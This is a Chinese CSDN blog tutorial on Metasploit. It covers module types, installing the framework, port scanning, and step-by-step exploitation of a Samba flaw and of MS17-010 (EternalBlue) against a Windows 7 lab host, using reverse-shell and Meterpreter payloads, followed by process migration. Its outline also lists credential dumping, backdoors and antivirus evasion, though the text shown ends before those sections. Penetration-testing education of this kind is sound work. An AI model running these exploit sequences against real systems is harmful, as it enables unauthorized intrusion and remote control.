MSF学习

本文详细介绍了Metasploit的使用,包括Metasploit模块的分类和作用,如扫描、漏洞利用、后渗透攻击等。在主机扫描部分,讲解了如何使用nmap和Metasploit模块进行扫描。后渗透攻击部分,重点讨论了信息收集、权限提升、后门植入等技巧,如ms17-010漏洞利用、mimikatz抓取密码。同时,还涉及了Metasploit的免杀技术,如编码器模块和shellcode生成。
摘要由CSDN通过智能技术生成

目录

 

Metasploit模块

主机扫描

查找扫描模块

使用扫描模块

使用nmap扫描

搜索和使用samba的漏洞利用模块

后渗透攻击:信息收集

使用ms17-010对win7进行渗透

进程迁移

查看系统信息

截图

文件系统命令

权限提升

将meterpreter转换为后台执行

令牌窃取

hash攻击

或者上传pwdump,wce工具获取hash

使用mimikatz抓取密码

后渗透攻击:后门

1.Cymothoa后门

2.Persistence后门

3.web后门

3.2Aspx Meterpreter后门


 

Metasploit模块

1、Exploit :渗透测试攻击:缓冲区溢出、Web应用程序漏洞攻击、系统配置错误
2、Payload :攻击载荷;
3、Shellcode :指令: Meterpreter Shell
4、Module :模块;
( 1 ) Payload Module ,渗透测试攻击模块;
辅助模块: auxiliary module ,简称: AUX
(2)NOPModule;
( 3 ) Encoding Module ,编码器模块;
( 4 ) POST Module ,后渗透攻击模块
 

使用MSF渗透测试时,大致步骤

  • 扫描目标系统,寻找可以利用的漏洞
  • 选择并配置一个漏洞利用模块
  • 选择并配置一个攻击载荷模块
  • 选择一个编码技术,用来绕过杀毒软件的查杀
  • 渗透攻击

 

MSF使用

1.kali下使用

msfdb
msfdb init

msfconsle
db_status

 

2.其他linux

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
  chmod 755 msfinstall && \
  ./msfinstall


addusermsf
su msf
cd /opt/metasploit-framework/bin/
./msfconsole 

 

 

主机扫描

查找扫描模块

search portscan

使用扫描模块

use auxiliary/scanner/portscan/tcp

辅助模块还有其他扫描模块,如Mysql,VNC,FTP,SMB

使用nmap扫描

nmap 192.168.0.104 -sV -p 1-1000 -T4

 

搜索和使用samba的漏洞利用模块

search samba
use exploit/multi/samba/usermap_script     

show PAYLOADS
set PAYLOAD cmd/unix/reverse
set RHOSTS 192.168.0.104
set RPORT 445
set LHOST 192.168.0.109
show options
exploit

 

后渗透攻击:信息收集

使用ms17-010对win7进行渗透

nmap 192.168.0.106 -p-
search ms17_010
use exploit/windows/smb/ms17_010_eternalblue
show payloads
set payload windows/x64/meterpreter/reverse_tcp
设置参数
exploit

 

进程迁移

getpid
ps
migrate 4312
kill 1128 
run post/windows/manage/migrate     #自动进程迁移

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
MSFMetasploit Framework)是一款强大的开源渗透测试工具,用于测试和评估计算机系统的安全性。学习MSF渗透工具有助于提高对网络安全的理解和技能。以下是一些学习MSF渗透工具的材料和方法: 1. 官方文档:Metasploit官方网站提供了完整的文档,包括用户指南、参考手册和教程。这些文档详细介绍了MSF的各个模块、命令、选项和使用方法。 2. 书籍:有一些书籍专门介绍了MSF的原理、用法和实例。例如《Metasploit: The Penetration Tester's Guide》,该书提供了深入的MSF知识,并帮助读者掌握渗透测试的技巧。 3. 在线教程:互联网上有许多免费的MSF教程和视频教程可供学习。通过这些教程,可以了解MSF的基本操作和常用技巧,并学习如何使用不同的模块和插件。 4. 实践演练:通过自己的实践和演练来学习MSF是非常重要的。可以使用虚拟机环境搭建实验环境,模拟真实的渗透测试场景,并运用MSF进行实际的渗透测试工作。 5. 社区和论坛:Metasploit拥有活跃的社区和论坛,可以与其他渗透测试者交流经验和学习心得。在这些社区中,可以获取到最新的MSF资讯、漏洞信息和实践技巧。 需要注意的是,渗透测试是一项敏感和专业的工作,必须遵守法律和道德准则。在学习和使用MSF工具时,务必要了解和遵守相关的法律法规,避免非法使用和侵犯他人的隐私和安全。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值